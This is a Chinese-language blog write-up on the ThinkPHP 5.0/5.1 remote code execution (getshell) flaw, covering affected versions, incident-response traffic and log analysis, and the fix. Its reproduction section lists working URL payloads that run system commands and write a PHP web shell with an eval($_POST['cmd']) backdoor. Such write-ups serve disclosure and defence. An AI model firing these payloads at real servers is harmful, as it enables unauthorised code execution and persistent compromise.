大柚子

这世界不过如此

一、概述

ThinkPHP是一款运用极广的PHP开发框架。其漏洞点是由于ThinkPHP框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。

二、影响范围

受影响的版本:ThinkPHP 5.0.x和ThinkPHP 5.1.x

三、漏洞复现

1、收集的一些POC(根据版本不同,有些poc不能利用)


<a href="http://127.0.0.1/index.php?s=index/think\app/invokefunction&amp;function=call_user_func_array&amp;vars&#91;0]=assert&amp;vars&#91;1]&#91;]=phpinfo()">
</a>5.0.x 版本:
?s=/Index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars&#91;0]=phpinfo&amp;vars&#91;1]&#91;]=-1
?s=index/\think\app/invokefunction&amp;function=phpinfo&amp;vars&#91;0]=100<a href="http://127.0.0.1/index.php?s=index/think\app/invokefunction&amp;function=call_user_func_array&amp;vars&#91;0]=assert&amp;vars&#91;1]&#91;]=phpinfo()">
</a>?s=/index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars&#91;0]=system&amp;vars&#91;1]&#91;]=whoami
?s=/index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars&#91;0]=file_put_contents&amp;vars&#91;1]&#91;]=shell.php&amp;vars&#91;1]&#91;]=内容用URL编码

5.1版本:
?s=index/think\request/input?data&#91;]=phpinfo()&amp;filter=assert
?s=index/\think\Container/invokefunction&amp;function=call_user_func_array&amp;vars&#91;0]=phpinfo&amp;vars&#91;1]&#91;]=1
?s=index/\think\template\driver\file/write?cacheFile=shell.php&amp;content=&lt;?php%20phpinfo();?>
?s=index/\think\template\driver\file/write
&amp;cacheFile=aaa.php&amp;content=&lt;?php @eval($_POST&#91;'cmd']);?>

2、实操部分(笔者的环境是ThinkPHP 5.0.20)

四、应急响应

1、从流量侧分析

如果有记录流量的工具的话,分析整个漏洞攻击流程还是很简单的。在数据包中,清晰的记录了整个攻击流程:

某种意义上来说针对此类漏洞,流量侧看还是很直观的。

2、日志侧分析

因为笔者环境问题,所以web类日志记录的不是很全面,但总体来说针对此类漏洞,从日志看也是很明朗的:时间、IP、URL、状态码、包大小、请求方法等。

注:此类日志只是针对web应用层,当攻击者进行提权或者反弹shell后的操作这里是不会记录的。

五、漏洞修复

将版本升级到最新版本,关闭debug功能及开启强制路由

参考资料:


http:&#47;&#47;www.atomsec.org/%E5%AE%89%E5%85%A8/thinkphp5-rce-getshell%E6%BC%8F%E6%B4%9E/
https://xz.aliyun.com/t/3570

Print Friendly, PDF & Email

发表回复

您的电子邮箱地址不会被公开。